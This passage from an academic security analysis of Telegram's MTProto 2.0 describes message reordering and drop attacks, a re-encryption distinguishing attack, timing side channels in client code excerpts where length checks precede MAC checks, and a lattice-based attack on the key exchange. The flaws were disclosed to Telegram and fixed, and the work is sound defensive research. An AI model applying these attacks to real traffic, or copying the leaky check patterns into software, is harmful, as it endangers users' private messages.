for Telegram Desktop all vulnerabilities reported here were addressed. When we write “the current
version of MTProto” or “current implementations”, we refer to the versions prior to those version
numbers, i.e. the versions we analysed.

5.2 MTProto 2.0 protocol

We studied MTProto 2.0 as described in the online documentation [Tel21d] and as implemented in
the official desktop3 and Android4 clients. We focus on cloud chats, i.e. chats that are only encrypted
on the transport layer between the clients and Telegram servers. The end-to-end encrypted secret chats
are implemented on top of this transport layer and only available for one-on-one chats.

In what follows, we will refer to a user in the protocol as u ∈ {I,R}, where I represents the initiator,
i.e. the client, and R represents the responder, i.e. the server.

Key exchange. A Telegram client must first establish a shared 2048-bit key ak (referred to as “auth
key”) with the server via a version of the Diffie-Hellman key exchange. We defer the details of the
key exchange to Section 5.5.1. In practice, this key exchange first results in a long-term ak for each of
the Telegram data centres the client connects to. Thereafter, the client runs a new key exchange on a
daily basis to establish a temporary ak that is used instead of the long-term one.

Only specific parts of ak are used in the ensuing “record protocol” for key derivation:

mku ← ak[704 + x : 960 + x]
kku,0 ← ak[x : 288 + x]
kku,1 ← ak[320 + x : 608 + x]

In the above, x = 0 for messages from the client (u = I ) and x = 64 from the server (u = R ). The bit
ranges of ak that are used by the client and the server are illustrated in Fig. 5.1.

3https://github.com/telegramdesktop/tdesktop/, versions 2.3.2 to 2.7.1
4https://github.com/DrKLO/Telegram/, versions 6.1.1 to 7.6.0
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Figure 5.1. Parsing of the first 1024 bits of ak in MTProto 2.0. The user u ∈ {I,R} derives a KDF
key kku = (kku,0, kku,1) and a MAC key mku.

Table 5.1. MTProto 2.0 payload format.

field type description

server_salt int64 Server-generated random number valid in a given time period.
session_id int64 Client-generated random session identifier (under the same ak).

msg_id int64 Time-dependent identifier of a message within a session.
msg_seq_no int32 Message sequence number.
msg_length int32 Length of msg_data in bytes.

msg_data bytes Actual body of the message.
padding bytes 12-1024B of random padding.

SHA-1

payload 

MAC
(SHA-256)

KDF
(SHA-256)

IGE
[AES-256]

ciphertext 

Input:

Output:

Figure 5.2. Overview of message processing in MTProto 2.0.
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“Record protocol”. Individual messages in Telegram are protected according to the following proto-
col, of which Fig. 5.2 gives a visual summary:

1. API calls are expressed as functions in the type language (TL) schema [Tel20c].

2. The API requests and responses are serialised according to TL [Tel20f] and embedded in the
msg_data field of a payload p, shown in Table 5.1. The first two 128-bit blocks have a fixed
structure and contain various metadata, forming an internal header. The maximum length of p
is 224 bytes.

3. The payload p is encrypted as cSE using AES-256 in IGE mode. The ciphertext cSE is a part of
an MTProto ciphertext c B aid ∥ msk ∥ cSE, where:

aid ← SHA-1(ak) [96 : 160]
msk← SHA-256(mku ∥ p) [64 : 192]
cSE ← IGE[AES-256] .Enc(k ∥ iv, p)

The first two fields, the “auth key ID” aid and the “message key” msk, form an external header.
The IGE[AES-256] key and IV used above are computed via:

A← SHA-256(msk ∥ kku,0)
B ← SHA-256(kku,1 ∥ msk)
k← A[0 : 64] ∥ B [64 : 192] ∥ A[192 : 256]
iv← B [0 : 64] ∥ A[64 : 192] ∥ B [192 : 256]

Telegram clients use the BoringSSL implementation [Goo18] of IGE, which has 2-block IVs.

4. MTProto ciphertexts are encapsulated in a “transport protocol”. The MTProto documentation
defines multiple such protocols [Tel20a], but the default is the abridged format that begins
the stream with a fixed value of 0xefefefef and then wraps each MTProto ciphertext c in a
transport packet in one of two ways (depending on the resulting packet length):

• ` ∥ c where ` is encoded in 1 byte and contains the c byte-length divided by 4, if the
resulting packet length is < 127, or

• 0x7f ∥ ` ∥ c where ` is encoded in 3 bytes.

5. All the resulting packets are obfuscated by default using AES-128 in CTR mode. The key and
IV are transmitted at the beginning of the stream, so the obfuscation provides no cryptographic
protection and we ignore it henceforth.5

5This feature is meant to prevent ISP blocking. Clients can also route their connections through a Telegram proxy
where the obfuscation key is derived from a shared secret (e.g. a password) between the client and the proxy.

65



5.3 Attacks against MTProto metadata validation

6. Communication is over TCP (port 443) or HTTP. Clients attempt to choose the best available
connection. There is support for TLS in the client code, but it does not seem to be used.

In combination, these operations mean that MTProto 2.0 at its core uses a “stateful Encrypt & MAC”
construction, as illustrated in Fig. 5.2. Here, the MAC tag msk is computed using SHA-256 with a
prepended key derived from (certain bits of) ak. The key and IV for IGE mode are derived on a
per-message basis using a KDF based on SHA-256, using certain bits of ak as the KDF key and the
message key msk as a diversifier. Note that the bit ranges of ak used by the client and the server to
derive keys in both operations overlap with one another. Any formal security analysis needs to take
this into account.

5.3 Attacks against MTProto metadata validation

We describe adversarial behaviours that are permitted in current Telegram implementations and that
mostly depend on how clients and servers validate metadata information in the payload (especially
the second 128-bit block containing msg_id, msg_seq_no and msg_length).

5.3.1 Message reordering and drops

We consider a network attacker that sits between the client and the Telegram servers, attempting to
manipulate the conversation transcript. We distinguish between two cases: when the client is the
sender of a message and when it is the receiver. By message we mean any msg_data exchanged via
MTProto, but we pay particular attention to when it contains a chat message.

Message reordering. By reordering we mean that an adversary can swap messages sent by one party
so that they are processed in the wrong order by the receiving party. Preventing such attacks is a
basic property that one would expect in a secure messaging protocol. The MTProto documentation
mentions reordering attacks as something to protect against in secret chats but does not discuss it for
cloud chats [Tel21i]. The implementation of cloud chats provides some protection, but not fully:

• When the client is the receiver, the order of displayed chat messages is determined by the date and
time values within the TL message object (which are set by the server), so adversarial reordering
of packets has no effect on the order of chat messages as seen by the client. On mobile clients
messages are also delivered via push notification systems which are typically secured with TLS.
Note that service messages of MTProto typically do not have such a timestamp so reordering
is theoretically possible, but it is unclear whether it would affect the client’s state since such
messages tend to be responses to particular requests or notices of errors, which are not expected
to arrive in a given order.

• When the client is the sender, the order of chat messages can be manipulated because the server
sets the date and time value for the Telegram user to whom the message was addressed based on
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when the server itself receives the message, and because the server will accept a message with a
lower msg_id than that of a previous message as long as its msg_seq_no is also lower than that
of a previous message. The server does not take the timestamp implicit within msg_id into
account except to check whether it is at most 300s in the past or 30s in the future, so within
this time interval reordering is possible. A message outside of this time interval is not ignored,
but a request for time synchronisation is triggered, after receipt of which the client sends the
message again with a fresh msg_id. So an attacker can also simply delay a chosen message to
cause messages to be accepted out of order. In Telegram, the rotation of the server_salt every
30 to 60 minutes may be an obstacle to carrying out this attack in longer time intervals.

We verified that reordering between a sending client and a receiving server is possible in practice using
unmodified Android clients (v6.2.0) and a malicious WiFi access point running a TCP proxy [Lud17]
with custom rules to suppress and later release certain packets. Suppose an attacker sits between Alice
and a server, and Alice is in a chat with Bob. The attacker can reorder messages that Alice is sending,
so the server receives them in the wrong order and forwards them in the wrong order to Bob. While
Alice’s client will initially display her sent messages in the order she sent them, once it fetches history
from the server it will update to display the modified order that will match that of Bob.

Note that such reordering attacks are not possible against e.g. Signal or MTProto’s closest “competitor”
TLS. TLS-like protocols over UDP such as DTLS [RTM21] or QUIC [IT21] either leave it to the
application to handle packet reordering (DTLS, i.e. reordering is possible against DTLS itself) or have
built-in mechanisms to handle these (QUIC, i.e. reordering is not possible against QUIC itself).

Other types of reordering. A stronger form of reordering resistance can also be required from a
protocol if one considers the order in the transcript as a whole, so that the order of sent messages
with respect to received messages has to be preserved. This is sometimes referred to as global transcript
in the literature [UDB+15], and is generally considered to be more complex to achieve. In particular,
the following is possible in both Telegram and e.g. Signal. Alice sends a message “Let’s commit all the
crimes”. Then, simultaneously both Alice and Bob send a message: Alice sends “Just kidding” and
Bob sends “Okay”. Depending on the order in which these messages arrive, the transcript on either
side might be (Alice: “Let’s commit all the crimes”, Alice: “Just kidding”, Bob: “Okay”) or (Alice:
“Let’s commit all the crimes”, Bob: “Okay”, Alice: “Just kidding”). That is, the transcript will have
Bob acknowledging a joke or criminal activity. Note that in the context of group messaging, there is
another related but weaker property: the notion of causality preservation [EMP18]. However, when
restricted to the two-party case, the property becomes equivalent to in-order delivery.

Message drops. MTProto makes it possible to silently drop a message both when the client is the
sender and when it is the receiver, but it is difficult to exploit in practice. Clients and the server
attempt to resend messages for which they did not get acknowledgements. Such messages have the same
msg_ids but are enclosed in a fresh ciphertext with random padding so the attacker must be able to
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distinguish the repeated encryptions to continue dropping the same payload. This is possible e.g. with
the desktop client as sender, since padding length is predictable based on the message length [Tel21m].
When the client is a receiver, other message delivery mechanisms such as batching of messages inside a
container or API calls like messages.getHistory make it hard for an attacker to identify repeated
encryptions. So although MTProto does not prevent message drops in the latter case, there is likely
no practical attack.

Note that there are scenarios where message drops can be impactful. Telegram offers its users the
ability to delete chat history for the other party (or all members of a group) – if such a request is
dropped, severing the connection, the chat history will appear to be cleared in the user’s app even
though the request never made it to the Telegram servers (see Chapter 3 for the significance of history
deletion in some settings).

5.3.2 Re-encryption

If a message is not acknowledged within a certain time in MTProto, it is re-encrypted using the same
msg_id and with fresh random padding. While this appears to be a useful feature and a mitigation
against message drops, it enables attacks in the IND-CPA setting, as we explain next.

As a motivation, consider a local passive adversary that tries to establish whether R responded to
I when looking at a transcript of three ciphertexts (cI,0, cR, cI,1), where cu represents a ciphertext
sent from u. In particular, it aims to establish whether cR encrypts an automatically generated
acknowledgement, denoted by “✓”, or a new message from R. If cI,1 is a re-encryption of the same
message as cI,0, re-using the state, this leaks that bit of information about cR .6

Suppose we have a channel CH that models the MTProto protocol as described in Section 5.2 and uses
the payload format given in Table 5.1.7 The channel’s behaviour is encapsulated in the algorithms
CH.Init, CH.Send and CH.Recv (which we will define precisely in Definition 14), and we consider its
IND-CPA security (which we will formalise in Definition 19). To sketch a model for acknowledgement
messages for the purpose of explaining this attack, we define a special plaintext symbol ✓ that, when
received, indicates acknowledgement for the last sent message. As in Telegram, ✓ messages are
encrypted. Further, we model re-encryptions by insisting that if the CH.Send algorithm is queried
again on an unacknowledged messagem then CH.Send will produce another ciphertext c ′ for m using
the same headers, including msg_id and msg_seq_no, as previously used. Critically, this means the
same state in the form of msg_id and msg_seq_no is used for two different encryptions.

We use this behaviour to break the indistinguishability of an encrypted ✓. Consider the adversary

6Note that here we are breaking the confidentiality of the ciphertext carrying “✓”. In addition to these encrypted
acknowledgement messages, the underlying transport layer, e.g. TCP, may also issue unencrypted ACK messages or may
resend ciphertexts as is. The difference between these two cases is that in the former case the acknowledgement message is
encrypted, in the latter it is not.

7We give a formal definition of the channel in Section 6.3.2, but it is not necessary to outline the attack.
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given in Fig. 5.3. If b = 0, cR,i encrypts an ✓ and so cI,i+1 will not be a re-encryption of m0 under the
same msg_id and msg_seq_no that were used for cI,i . In contrast, if b = 1, then we have c (2)I, j = c (2)I,k
for some j, k, where c (i ) denotes the i-th block of c , with probability 1 whenever msk j = mskk . This
is true because the payloads of cI, j and cI,k share the same header fields, in particular including the
msg_id and msg_seq_no in the second block, encrypted under the same key. In the setting where the
adversary controls the randomness of the padding, the condition msk j = mskk can be made to always
hold and thus c (2)I, j = c (2)I,k holds with probability 1. As a consequence, two sets of queries (i.e. a total
of six queries) to the oracles suffice. When the adversary does not control the randomness, we can use
the fact that the message key msk is computed via SHA-256 truncated to 128 bits and the birthday
bound applies for finding collisions. Thus, after 3 · 264 queries we expect a collision with constant
probability (note that the adversary can check when a collision is found). Finally, in either setting,
when b = 0 we have c (2)I, j = c (2)I,k with probability 0 since the underlying payloads differ, the key is the
same and AES is a permutation for a fixed key.

DSend,Recv(q)
1 : aux← ε
2 : pick m0,m1 ∈ CH.MS \ {✓}
3 : require ∀i ∈ N : rI,i, rR,i ∈ CH.SendRS
4 : for i = 0, . . . , q − 1 do
5 : cI,i ← Send(I,m0,m0, aux, rI,i)
6 : cR,i ← Send(R,✓,m1, aux, rR,i)
7 : Recv(I, cR,i, aux)
8 : if ∃ j ≠ k : msk j = mskk then

9 : return c (2)I, j = c (2)I,k
10 : else return ⊥

Figure 5.3. Adversary against the IND-security of MTProto (modelled as a channel CH) when permit-
ting re-encryption under reused msg_id and msg_seq_no. If the adversary controls the randomness,
then set q = 2 and choose rI,0 = rI,1. Otherwise (i.e. all rI,i, rR,i values are uniformly random) set
q = 264. In this figure, let mski be msk for cI,i and let c (i ) be the i-th block of ciphertext c .

To allow a security proof of Chapter 6 to go through, the cleanest solution is to remove the re-
encryption capability from the model. If a message resend facility is needed, applications can do this
either by resending the original ciphertext at the underlying transport level (without involvement
of the channel) or using the secure channel (in which case each resending would take place using an
updated, unique state of the channel).
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5.4 Timing side-channel attack

We present a timing side-channel attack against implementations of MTProto. The attack arises
from MTProto’s reliance on an Encrypt & MAC construction, the malleability of IGE mode, and
specific weaknesses in implementations. The attack proceeds in the spirit of [APW09]: move a target
ciphertext block to a position where the underlying plaintext will be interpreted as a length field and
use the resulting behaviour to learn some information. The attack is complicated by Telegram using
IGE mode instead of CBC mode analysed in [APW09]. We begin by describing a generic way to
overcome this obstacle in Section 5.4.1. We describe the side channels found in the implementations
of several Telegram clients in Section 5.4.2 and experimentally demonstrate the existence of a timing
side channel in the desktop client in Section 5.4.3.

5.4.1 Manipulating IGE

In IGE mode, we have ci = Ek(mi ⊕ ci−1) ⊕mi−1 for i = 1, 2, . . . , t (see Fig. 2.2). Suppose we intercept
an IGE ciphertext c = c1 ∥ c2 ∥ . . . ∥ ct consisting of t blocks. Further, suppose we have a side
channel that enables us to learn some bits of the second plaintext block8 for any ciphertext decrypted
according to IGE mode. Fix a target block number i for which we are interested in learning a portion
of mi that is encrypted in ci . Assume we know the plaintext blocks m1 and mi−1.

We construct a ciphertext c1 ∥ c∗ where c∗ B ci ⊕ mi−1 ⊕ m1. This is decrypted in IGE mode as:

m1 = E−1k (c1 ⊕ IVm) ⊕ IV c

m∗ = E−1k (c
∗ ⊕ m1) ⊕ c1 = E−1k (ci ⊕ mi−1) ⊕ c1

= mi ⊕ ci−1 ⊕ c1

Since we know c1 and ci−1, we can recover some bits of mi if we can obtain the corresponding bits of
m∗ (e.g. through a side channel leak).

To motivate our known plaintext assumption, consider a message where mi−1 = “Today’s password”
and mi = “is SECRET”. Here, mi−1 is known, while learning bytes of mi is valuable. On another
hand, the requirement of knowing m1 may not be easy to fulfil in MTProto. The first plaintext block
of an MTProto payload always contains server_salt ∥ session_id, both of which are random values. It
is unclear whether they were intended to be secret, but in effect they are, limiting the applicability of
this attack. This is why in Section 5.5 we give an attack to recover these values. Note that these values
are the same for all ciphertexts within a single session, so if they were recovered, then we could carry
out the attack on each of the ciphertexts in turn.

8The attack is easy to adapt to a different block.
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5.4.2 Leaky length field

The preceding attack assumes we have a side channel that enables us to learn a part of m2. We now
show how such side channels arise in implementations.

The msg_length field occupies the last four bytes of the second block of every MTProto cloud chat
message plaintext (see Section 5.2). After decryption, the field is checked for validity in Telegram
clients. Crucially, in several implementations this check is performed before the MAC check, i.e.
before msk is recomputed from the decrypted plaintext. If either of those checks fails, the client closes
the connection without outputting a specific error message. However, if an implementation is not
constant time, an attacker who submits modified ciphertexts of the form described above may be able
to distinguish between an error arising from validity checking of msg_length and a MAC error, and
thus learn something about the bits of plaintext in the position of the msg_length field.

Since different Telegram clients implement different checks on the msg_length field, we now proceed
to a case-by-case analysis, showing relevant code excerpts in each case.

Android. The field msg_length is referred to as messageLength here. The check is performed
in decryptServerResponse of Datacenter.cpp [Tel21k], which compares messageLength with
another length field (see code below). If the messageLength check fails, the MAC check is still
performed. The timing difference thus consists only of two conditional jumps, which would be small
in practice. The length field is taken from the first four bytes of the transport protocol format and
is not checked against the actual packet size, so an attacker can substitute arbitrary values. Using
multiple queries with different length values could thus enable extraction of up to 32 bits of plaintext
from the messageLength field.

if (messageLength > length - 32) {
error = true;

} else if (paddingLength < 12 || paddingLength > 1024) {
error = true;

}
messageLength += 32;
if (messageLength > length) {

messageLength = length;
}
// compute messageKey [redacted due to space]
return memcmp(messageKey + 8, key , 16) == 0 && !error;

Desktop. The method handleReceived of session_private.cpp [Tel21n] performs the length
check, comparing the messageLength field with kMaxMessageLength = 224. When this check fails,
the connection is closed and no MAC check is performed, providing a potentially large timing
difference. Because of the fixed value 224, this check would leak the 8 most significant bits of the target
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block mi with probability 2−8, i.e. the eight most significant bits of the 32-bit length field, allowing
those bits to be recovered after about 28 attempts on average.9

if (messageLength > kMaxMessageLength) {
LOG(("TCP Error: bad messageLength %1").arg(messageLength ));
TCP_LOG (("TCP Error: bad message %1").arg(

Logs::mb(ints , intsCount * kIntSize ).str ()));

return restart ();
}
// ...
// MAC computation and check follow

iOS. The field msg_length is referred to as messageDataLength here. The check is performed in
_decryptIncomingTransportData of MTProto.m [Tel21p], which compares messageDataLength
with the length of the decrypted data first in a padding length check and then directly, see code below.
If either check fails, it hashes the complete decrypted payload. A timing side channel arises because
sometimes this countermeasure hashes fewer bytes than a genuine MAC check (the latter also hashes
32 bytes of ak, here effectiveAuthKey.authKey; hence one more 512-bit block will be hashed
unless the length of the decrypted payload in bits modulo 512 is 184 or less10, this condition being due
to padding). If an attacker can change the value of decryptedData.length directly or by attaching
additional ciphertext blocks, this could leak up to 32 bits of plaintext as in the Android client.

int32_t paddingLength =
(( int32_t)decryptedData.length) - messageDataLength;

if (paddingLength < 12 || paddingLength > 1024) {
__unused NSData *result = MTSha256(decryptedData );
return nil;

}

if (messageDataLength < 0 ||
messageDataLength > (int32_t)decryptedData.length) {

__unused NSData *result = MTSha256(decryptedData );
return nil;

}

int xValue = 8;
NSMutableData *msgKeyLargeData = [[ NSMutableData alloc] init];
[msgKeyLargeData appendBytes:effectiveAuthKey.authKey.bytes

+ 88 + xValue length :32];
[msgKeyLargeData appendData:decryptedData ];

9Note that this beats random guessing as the correct value can be recognised.
10This condition holds for payloads of length 191 bits or less modulo 512, but the interface to the hash functions in

OpenSSL and derived libraries only accepts inputs in multiples of bytes not bits.
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NSData *msgKeyLarge = MTSha256(msgKeyLargeData );
NSData *messageKey = [msgKeyLarge subdataWithRange:NSMakeRange (8, 16)];

if (![ messageKey isEqualToData:embeddedMessageKey ])
return nil;

Discussion. Note that all three of the above implementations were in violation of Telegram’s own
security guidelines [Tel21h] which state: “If an error is encountered before this check could be
performed, the client must perform the msg_key check anyway before returning any result. Note that
the response to any error encountered before the msg_key check must be the same as the response to
a failed msg_key check.” In contrast, TDLib [Tel21j], the cross-platform library for building Telegram
clients, does avoid timing leaks by running the MAC check first.

5.4.3 Practical experiments

We ran experiments to verify whether the side channel present in the desktop client code is exploitable.
Wemeasured the time difference between processing amessage with awrongmsg_length and processing
a message with a correct msg_length but a wrong MAC. This was done using the Linux desktop client,
modified to process messages generated on the client side without engaging the network. The code
can be found in Appendix C.1. We collected data for 108 trials for each case under ideal conditions, i.e.
with hyper-threading, Turbo Boost etc. disabled. After removing outliers, the difference in means was
about 3 microseconds, see Fig. 5.4. This should be sufficiently large for a remote attacker to detect,
even with network and other noise sources (see [AP13], where sub-microsecond timing differences
were successfully resolved over a LAN).
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Figure 5.4. Processing time of SessionPrivate::handleReceived in microseconds.
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5.5 Attacking the key exchange

Recall that our attack in Section 5.4 relies on the knowledge of m1 which in MTProto contains a
64-bit salt and a 64-bit session ID. In Section 5.5.1, we present a strategy for recovering the 64-bit
salt. We use it in a simple guess and confirm approach to recover the session ID in Section 5.5.2. In
Section 5.5.3, we then discuss how the attack in Section 5.5.1 enables to break server authentication
and thus enables an attacker-in-the-middle (MitM) attack on the Diffie-Hellman key exchange.

We stress, however, that the attack in Section 5.5.1 only applies in a short period after a key exchange
between a client and a server.11 Furthermore, the attack critically relies on observing small timing
differences which is unrealistic in practice, especially over a wide network. That is, our attack relies
on a timing side channel arising when Telegram’s servers decrypt RSA ciphertexts and verify their
integrity. While – in response to our disclosure – the Telegram developers confirmed the presence of
non-constant code in that part of their implementation and hence confirmed our attack, they did not
share the source code or other details with us.

Since Telegram does not publish the source code for its servers (in contrast to its clients), the only
option to verify the precise server behaviour would be to test it. This would entail sending millions
if not billions of requests to Telegram’s servers from a host that is geographically and topologically
close to one of Telegram’s data centres, observing the response time. Such an experiment would have
been at the edge of our capabilities but is clearly feasible for a dedicated, well-resourced attacker.

5.5.1 Recovering the salt

At a high level, our strategy exploits the fact that during the initial key exchange, Telegram integrity-
protects RSA ciphertexts by including a hash of the underlying message contents in the encrypted
payload except for the random padding, which necessitates parsing the data, which in turn establishes
the potential for a timing side-channel.12 In what follows, we assume the presence of such a side
channel and show how it enables the recovery of the encrypted message, solving noisy linear equations
via lattice reduction. We refer the reader to [MH20, AH21] for an introduction to the application of
lattice reduction in side-channel attacks and the state of the art respectively.

In Fig. 5.5, we show Telegram’s instantiation of the Diffie-Hellman key exchange [Tel21q] at the
level of detail required for our attack, omitting TL schema encoding. In Fig. 5.5, we let n B nonce,
s B server_nonce, n′ B new_nonce be nonces; S be the set of public server fingerprints, F ∈ S
be the fingerprint of the public key pk selected by the client, ts B server_time be a timestamp for
the server; let F (·, ·) be some function used to derive keys;13 let pr , ps, pc be random padding of

11Telegram will perform roughly one key exchange per day, aiming for forward secrecy.
12We note that this issue mirrors the one reported in [JO16].
13This consists of SHA-1 calls but we omit the details here.
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appropriate length; let ak be the final key. The initial salt used by Telegram is then computed as

server_salt B n′ [0 : 64] ⊕ s [0 : 64] .

Since s is sent in the clear during the key exchange protocol, recovering the salt is equivalent to
recovering n′ [0 : 64]. We let N ′, e denote the public RSA key (modulus and exponent) used to
perform RSA encryption by the client in the key exchange and we let d denote the private RSA
exponent used by the server to perform RSA decryption.14 We assume N ′ has exactly 2048 bits which
holds for the values used by Telegram.

Client Server

n ←$ {0, 1}128 n s ←$ {0, 1}128

n, s,N ,S N ← p · q

n′ ←$ {0, 1}256 n, s, p, q, F ,RSA(pk, (ℎr ,N , p, q, n, s, n′, pr ))

k, iv← F (n′, s) n, s, IGE[AES-256] (k, iv, (ℎs, n, s, g, p′, g a, ts, ps )) k, iv← F (n′, s)

b ←$ {0, 1}2048 n, s, IGE[AES-256] (k, iv, (ℎc , n, s, retry_id, g b , pc ))

ak ← (g a)b ak ← (g b )a

n, s, ℎn′

Figure 5.5. Telegram key exchange.

Further, we have
ℎn′ B SHA-1(n′ ∥ 0x0i ∥ SHA-1(ak) [0 : 64]) [32 : 160]

in Fig. 5.5, where i = 1, 2 or 3 depending on whether the key exchange terminated successfully
and ℎr , ℎs, ℎc are SHA-1 hashes over the corresponding payloads except for the padding pr , ps, pc . In
particular, we have

ℎr B SHA-1(TL(N , p, q, n, s, n′))

where TL denotes the TL schema encoding for this particular request. The critical observation in
this section is that while n, s and n′ have fixed lengths of 128, 128 and 256 bits respectively in this
encoding, the same is not true for N , p and q . This implies that the content to be fed to SHA-1
after RSA decryption and during verification must first be parsed by the server. This opens up the

14Note that N ′ is distinct from the proof-of-work value N that is sent by the server during the protocol and whose
factors p, q are returned by the client.
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possibility of a timing side channel. In particular, at the byte level SHA-1 is called on

ℎd ∥ L(N )∥N ∥P(N ) ∥ L(p)∥p∥P(p) ∥ L(q)∥q ∥P(q) ∥ n ∥ s ∥ n′

where L(x) encodes the length of x in one byte,15 x is stored in big endian byte order, P(x) is up to
three zero bytes so that the length of L(x)∥x ∥P(x) is divisible by 4, and ℎd = 0xec5ac983 is a fixed
header identifying this particular request.

We verified the following behaviour of the Telegram server, where “is checked” and “expects” means
that the key exchange aborts if the payload deviates from the expectation.

• The header ℎd = 0xec5ac983 is checked;

• the server expects 1 ≤ L(N ) ≤ 16 and L(p), L(q) = 4 (different valid encodings, e.g. by
prefixing zeros, of valid values are not accepted);

• the value of N is not checked, p, q are checked against the value of N stored on the server and
the server expects p < q ;

• the contents of P(·) are not checked;

• both n, s are checked.

While we do not know in what order the Telegram server performs these checks, we recall that the
payload must be parsed before being integrity checked and that the number of bytes being fed to
SHA-1 depends on this parsing. This is because the random padding must be removed from the
payload before calling SHA-1.

Recall that the Telegram developers acknowledged the attack presented here but did not provide
further details on their implementation. Therefore, below we will assume that the Telegram server
code follows a similar pattern to Telegram’s flagship TDLib library, which is used e.g. to implement
the Telegram Bot API [Tel20e]. While TDLib does not implement RSA decryption, it does implement
message parsing during the handshake. In particular, the library returns early when the header does
not match its expected value. In our case the header is 0xec5ac983 but we stress that this behaviour
does not seem to be problematic in TDLib and we do not know if the Telegram servers follow the
same pattern also for RSA decryption. We will discuss other leakage patterns below, but for now
we will assume the Telegram servers return early whenever there is a header mismatch, skipping the
SHA-1 call in this case. This produces a timing side channel.

Thus, we consider a textbook RSA ciphertext c = me mod N ′ with

m = ℎr ∥ ℎd ∥ L(N )∥N ∥P(N ) ∥ L(p)∥p∥P(p) ∥ L(q)∥q ∥P(q) ∥ n ∥ s ∥ n′ ∥ pr
15Longer inputs are supported by L(·) but would not fit into ≤ 255 bytes of RSA payload.
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of length 255 bytes. First, observe that an attacker knows all contents of the payload (including their
encodings) except for ℎr , n′ and pr and we can write:

x = 2` (pr ) · n′ + pr < 2256+` (pr )

m = (21880 · ℎr + 2256+` (pr ) · γ + x)

where γ is a known constant derived from n, s, p, q,N and where ` (pr ) is the known length of pr .
This relies on knowing that |n′ | = 256 and |m | −

��ℎr �� = 1880.

Under our assumption on header checking, we can detect whether the bits in positions 8 ·255−160−32
to 8 · 255 − 160 − 1 (big endian, SHA-1 returns 160 bits) of m′ B (c ′)d match 0xec5ac983 for any c ′

we submit to the Telegram servers. Thus, inspired by [Ble98], we submit s ei · c , for several chosen si
to the server and receive back an answer whether the bits 1848 to 1879 of si ·m match the expected
header. If the si are chosen sufficiently randomly, this event will have probability ≈ 2−32. Writing
ζ = 0xec5ac983, we consider

ei =
(
(si ·m mod N ′) − ζ · 21848

)
mod 21880

=

((
si ·

(
21880 · ℎr + 2256+` (pr ) · γ + x

)
mod N ′

)
− ζ · 21848

)
mod 21880

=

(((
si · 21880 · ℎr + si · 2256+` (pr ) · γ + si · x

)
mod N ′

)
− ζ · 21848

)
mod 21880.

That is, we pick random si (we will discuss how to pick those below) and submit s ei · c to the Telegram
servers. Using the timing side channel we then detect when the bits in the header position match ζ .
When this happens, we store si . Overall, we find µ such si (we discuss below how to pick µ) and
suppose the event happens for some set of si , with i = 0, . . . , µ − 1.

Recovering ℎr . Note that ei < 21880−32 by construction and x < 2256+` (pr ) ≪ 21848. Thus, picking
sufficiently small si an attacker can make e ′i B (ei − si · x) mod 21880 < 21848, i.e.

e ′i =
(((

si · 21880 · ℎr + si · 2256+` (pr ) · γ
)
mod N ′

)
− ζ · 21848

)
mod 21880 < 21848.

We rewrite e ′i as

e ′i =
(
si · 21880 · ℎr + si · 2256+` (pr ) · γ − ζ · 21848 − σi · 21880

)
mod N ′

for σi < 2160 and use lattice reduction to recover ℎr . Writing

ti =
(
si · 2256+` (pr ) · γ − ζ · 21848

)
mod N ′,
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we consider the lattice spanned by the rows of L1 with

L1 B

©«

21688 0 0 0 21880 · s0 · · · 21880 · sµ−1 0
0 21688 0 0 21880 · · · 0 0

0 0 . . . 0 0 . . . 0 0
0 0 0 21688 0 · · · 21880 0
0 0 0 0 N ′ · · · 0 0

0 0 0 0 0 . . . 0 0
0 0 0 0 0 · · · N ′ 0
0 0 0 0 t0 · · · tµ−1 21848

ª®®®®®®®®®®®®®®®®¬

.

Multiplying L1 from the left by(
ℎr −σ0 . . . σµ−1 ∗ . . . ∗ 1

)
where ∗ stands for modular reduction by N ′, shows that this lattice contains a vector(

21688 · ℎr −21688 · σ0 . . . −21688 · σµ−1 e ′0 . . . e ′µ−1 21848
)

(5.1)

where all entries are bounded by 21848 = 21688+160. Thus, that vector has Euclidean norm ≤
√
2 µ + 2 ·

21848.16 On the other hand, the Gaussian heuristic predicts the shortest vector in the lattice to have
norm

≈
√︂

2 µ + 2
2π e

·
(
21688· (µ+1) · (N ′)µ · 21848

)1/(2 µ+2)
. (5.2)

Finding a shortest vector in the lattice spanned by the rows of L1 is expected to recover our target
vector and thus ℎr when the norm of Eq. (5.1) is smaller than Eq. (5.2) which is satisfied for µ = 6.

We experimentally verified that LLL on a (2 · 6 + 2)-dimensional lattice constructed as L1 indeed
succeeds – the script is attached to the electronic version of this document.17 Thus, under our
assumptions, recovering ℎr requires about 6 · 232 queries to Telegram’s servers and a trivial amount of
computation.

16This estimate is pessimistic for the attacker. Applying the techniques summarised in [AH21] for constructing such
lattices, we can save a factor of roughly two. We forgo these improvements here to keep the presentation simple.

17As telegram-rsa-poc.py.
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Recovering n′. Once we have recovered ℎr , we can target n′. Writing γ′ = 21880−256−` (pr ) · ℎr + γ,
we obtain

di =
( (
s ′i ·m mod N ′

)
− ζ · 21848

)
mod 21880

=

((
s ′i ·

(
2256+` (pr ) · γ′ + x

)
mod N ′

)
− ζ · 21848

)
mod 21880

=

(((
s ′i · 2

256+` (pr ) · γ′ + s ′i · x
)
mod N ′

)
− ζ · 21848

)
mod 21880

=

(((
s ′i · 2

256+` (pr ) · γ′ + s ′i · (2
` (pr ) · n′ + pr )

)
mod N ′

)
− ζ · 21848

)
mod 21880

where the s ′i are again chosen randomly and we collect s ′i for i = 0, . . . , µ′ − 1 where the bits in the
header position match ζ . We discuss how to choose s ′i and µ

′ below. Thus, we assume that di < 21848

for s ′i . Information theoretically, each such inequality leaks 32 bits. Considering that x = 2` (pr )n′ + pr
has 256 + ` (pr ) bits, we thus require at least (256 + ` (pr ))/32 such inequalities to recover x .18 Yet,
` (pr ) ≫ 256 and the content of pr is of no interest to us, i.e. we seek to recover n′ without “wasting
entropy” on pr .19 In other words, we wish to pick s ′i sufficiently large so that all bits of s ′i · 2

` (pr ) · n′

affect the 32 bits starting at 21848 but sufficiently small to still allow us to consider “most of” s ′i · pr as
part of the lower-order bit noise. Thus, we pick random s ′i ≈ 21848−` (pr ) and consider d ′i B di − s ′i · pr
with

d ′i =
(((

s ′i · 2
256+` (pr ) · γ′ + s ′i · 2

` (pr ) · n′
)
mod N ′

)
− ζ · 21848

)
mod 21880

=

(
s ′i · 2

256+` (pr ) · γ′ + s ′i · 2
` (pr ) · n′ − ζ · 21848 − σ′i · 2

1880
)
mod N ′.

Writing
t ′i =

(
s ′i · 2

256+` (pr ) · γ′ − ζ · 21848
)
mod N ′,

